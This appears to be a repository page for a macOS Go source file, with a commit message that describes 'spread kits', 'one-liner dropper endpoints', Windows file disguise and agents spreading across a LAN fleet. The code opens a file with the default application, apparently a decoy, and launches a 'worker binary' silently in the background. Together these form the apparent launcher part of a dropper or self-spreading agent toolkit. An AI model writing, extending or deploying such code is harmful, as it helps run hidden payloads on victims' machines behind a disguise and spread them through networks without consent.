Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
44 lines
968 B
Go
44 lines
968 B
Go
//go:build darwin
|
|
|
|
package main
|
|
|
|
import (
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
)
|
|
|
|
// openFile opens any file with the macOS default application via `open`.
|
|
// Works for PDF, video, document, image, and more.
|
|
func openFile(path string) {
|
|
path = filepath.Clean(path)
|
|
_ = exec.Command("open", path).Start()
|
|
}
|
|
|
|
// applyHiddenStartPath launches the worker binary in the background.
|
|
func applyHiddenStartPath(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
cmd.Stdin = nil
|
|
cmd.Stdout = nil
|
|
cmd.Stderr = nil
|
|
_ = cmd.Start()
|
|
}
|
|
|
|
// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait).
|
|
func applyWaitRun(path string) {
|
|
ext := filepath.Ext(path)
|
|
if ext == ".app" || ext == "" {
|
|
cmd := exec.Command("open", "-W", path)
|
|
cmd.Stdout = os.Stdout
|
|
cmd.Stderr = os.Stderr
|
|
_ = cmd.Run()
|
|
} else {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
cmd.Stdout = os.Stdout
|
|
cmd.Stderr = os.Stderr
|
|
_ = cmd.Run()
|
|
}
|
|
}
|